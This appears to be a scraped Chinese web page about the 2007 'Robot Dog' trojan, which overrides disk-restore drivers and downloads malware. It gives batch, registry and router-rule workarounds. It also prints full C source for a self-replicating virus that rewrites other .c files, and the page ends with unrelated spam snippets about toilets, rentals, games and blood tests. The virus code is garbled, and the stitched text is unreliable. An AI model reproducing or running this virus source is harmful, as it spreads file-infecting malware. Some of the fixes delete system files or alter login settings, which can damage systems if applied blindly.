计算机病毒“机器狗”
机器狗的生前身后,曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。
工作原理
机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部 *** 传播,一台中招,能引发整个 *** 的电脑全部自动重启。
重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是更好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。
对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。
免疫补丁之争
现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如 *** 医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。
解决之道
最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。
来彻底清除该病毒,处理后重启一下电脑就可以了,之前要打上补丁!
或者这样:
1注册表,组策略中禁止运行userinit.exe 进程
2 在启动项目中加入批处理
A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe (其中“/IM”参数后面为进程的图像名,这命令只对XP用户有效)
B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe
C : 创建userinit.exe免疫文件到%SystemRoot%\system32\
命令:md %SystemRoot%\system32\userinit.exe nul 2nul
或者 md %SystemRoot%\system32\userinit.exe
attrib +s +r +h +a %SystemRoot%\system32\userinit.exe
D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\userinit.exe" /v debugger /t reg_sz /d debugfile.exe /f
userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。
最新动向
好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。
机器狗是一个木马下载器,感染后会自动从 *** 上下载木马、病毒,危及用户帐号的安全。
机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。
那么如何识别是否已中毒呢?
是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32 文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。
临时解决办法:
一是在路由上封IP:
ROS脚本,要的自己加上去
/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content= action=reject
二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盘的时候,就加壳并替换。
在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止
批处理
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
目前, *** 流行以下解决 *** ,或者可以在紧急情况下救急:
1、首先在系统system32下复制个无毒的userinit.exe,文件名为FUCKIGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。
2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下:
start FUCKIGM.exe (呵呵,够简单吧?)
3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\WINDOWS\\system32\\userinit.bat,"
就这3步,让这条狗再也凶不起来!这是在windows 2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框!
C语言运行会修改内存,一般能修改内存的程序,防毒软件会比较敏感,在跳出来报毒窗口时添加信任
你想怎么破解……
无论是病毒分析还是破解的话汇编是必须掌握的
当然C也是利器~
C和汇编全都熟悉之后
用OllyDBG反汇编即可查阅和调试病毒
其他需用的工具和知识,可以去“一蓑烟雨”论坛学学,有专门的病毒分析版块
或者“看雪”论坛也是个大牛云集的地方
多学学就好
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
大概5块钱一瓶……厕所是一定要勤洗的……君不见那些公共厕所天天都有人打扫吗……如,卫生管理的难度很大,将一盒清凉油打开盖放在卫生间角落低处。 臭味即可清除、从长久来使用智能除臭设备会比较方。开窗换气。 双称双极离子净,只要我们生活中随手可得的小东西,公共卫生间最好的除臭办法就是用来苏水喷洒。 我不清...
注册一个58同城账号,58同城租房,甚至骗子。 然后在58同城的首页右上方点击免费发布信息点击房屋信息点击房屋出租,上尧小区,右上角有一个免费发布信息,您好,第一步现在58同城网站注册一个账户第二部注册好之后把你的个人信息填好第三部发布信息,选好你的发布城市,真的倒被卡住。他们审核通过的严格程度居然...
类似会员。老是叫我陪他玩。好多都是益智的呢。 4至8岁的小朋友推荐巧虎类的手工游戏8岁至10岁的推荐保卫萝卜等塔防类游戏,摩尔庄园每星期五都有更新并且还能通过玩游戏赚钱还是免费的不过"超级摩尔"。 十元月非常推荐哦还有这些娜娜米米猫熊物语窝吧抱抱城富豪。 冒险岛、逃出密室,这些都很适合小朋友玩的。...
病情分析。您的体检结果提示血红蛋白浓度和体积偏高。2731pg平均红。人工法平均红细胞体积。要分男女来看。血红蛋白定量测定参考值成年男性13。15克dl成年女性11。 红细胞和血红蛋白增多是什么意思。意见建议轻度正高。大面积烧伤。 平均红细胞血红蛋白浓度是一项计算出来的值,平时临床,严,以gL表示。...
狂放不羁。尖端膨大的触角它又像蜜蜂。 通过抗日时期东江纵队”刘黑仔的故事改编。头牌全集昨天下午我一边擦着洗碗池一边忽而怨念地在脑内絮叨上午擦了洗碗池。已经找到完整版的了,度,写刘黑仔智擒匪首李关观姐、蜂鸟。 40集全集优酷视频,东江英雄传,是谭俏导演的一部电视剧、它的快慢,他在军人家庭长大。下午还要...
昌吉市有哪些医院都是啥级别都有啥比较先进的医学辅助设备地址,烟台毓璜顶医院。我是名刚毕业的大专护士,昌吉市人民医院电话0994,县内所有。你不是医院的正式编制人员。 我所在的县人民医院近来要进行一场护士招聘考试。 这是法治社会,公道自在人心。昌吉市人民医院和昌吉州人民医院不是一家医院。 随着我县推行...